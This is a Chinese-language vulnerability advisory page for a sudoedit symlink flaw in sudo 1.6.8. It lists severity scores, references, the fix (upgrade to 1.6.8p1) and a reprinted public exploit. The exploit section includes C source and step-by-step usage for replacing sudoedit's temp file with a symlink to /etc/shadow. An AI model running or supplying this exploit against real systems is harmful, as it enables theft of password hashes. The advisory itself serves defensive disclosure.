发布时间 :2004-09-16 00:00:00
修订时间 :2017-07-10 21:31:15

[原文]sudoedit (aka sudo -e) in sudo 1.6.8 opens a temporary file with root privileges, which allows local users to read arbitrary files via a symlink attack on the temporary file before quitting sudoedit.


        sudo 1.6.8版本中的sudoedit(也称为sudo -e)打开具有根权限的临时文件。在sudoedit退出之前,本地用户借助临时文件的符号链接攻击读取任意文件。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20040916 [sudo-announce] Sudo version 1.6.8p1 now available (fwd)
(UNKNOWN)  XF  sudo-sudoedit-view-files(17424)

- 漏洞信息

低危 访问验证错误
2004-09-16 00:00:00 2005-10-20 00:00:00
        sudo 1.6.8版本中的sudoedit(也称为sudo -e)打开具有根权限的临时文件。在sudoedit退出之前,本地用户借助临时文件的符号链接攻击读取任意文件。

- 公告与补丁

        The vendor has released version 1.6.8p1 to address this issue:
        Todd Miller Sudo 1.6.8

- 漏洞信息 (470)

SudoEdit 1.6.8 Local Change Permission Exploit (EDBID:470)
linux local
2004-09-21 Verified
0 Angelo Rosiello
N/A [点击下载]

       Copyright © Rosiello Security 2004

                 sudoedit Exploit

SOFTWARE : sudoedit 
DATE: 18/09/2004

A flaw in exists in sudo's -u option (aka sudoedit) 
in sudo version 1.6.8 that can give an attacker 
read permission to a file that would otherwise be 

Sudo versions affected:
1.6.8 only

Reznic Valery discovered the problem. 


All the information that you can find in this software  
were published for educational and didactic purpose only.
The author published this program under the condition 
that is not in the intention of the reader to use them 
in order to bring to himself or others a profit or to bring 
to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.


1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello
CONTACT: angelo rosiello org


#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>

int main( int argc, char *argv[] )
    char PATH[]="/usr/tmp";
    char file[32];
       DIR *tmp;
       struct dirent *de;
       tmp = opendir ( PATH );
    int found = 0;
    printf( "Copyright © Rosiello Security 2004\n" );
    printf( "\n" );

    if( argc!=2 )
        printf( "USAGE: %s file\n", argv[0] );
        return( 0 );

    while ( (de = readdir ( tmp ))!= NULL )
        if ( (strstr(de->d_name, "rosiello") != NULL) )
            if( strlen(de->d_name) > 24 ) return( 0 ); 
            sprintf( file, "%s/%s", PATH, (char *)de->d_name );
            remove( file );
            if( fork()!=0 )
                execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); 
            wait( );
            printf( "Now you can close sudoedit and reopen rosiello!\n" );
            goto end;
    closedir( tmp );
    if( !found ) 
        printf( "File Not Found!\n" );
    return( 0 );

// [2004-09-21]

- 漏洞信息

sudo sudoedit Restricted Local File Disclosure
Local Access Required Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

Sudo contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered when a malicious user links an arbitrary file to sudo's temporary file and calls the -u option (sudoedit) resulting in read access to the linked file, which will disclose information normally unreadable resulting in a loss of confidentiality.

- 时间线

2004-09-16 Unknow
2004-09-18 Unknow

- 解决方案

Upgrade to version 1.6.8p1 (patchlevel 1) or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者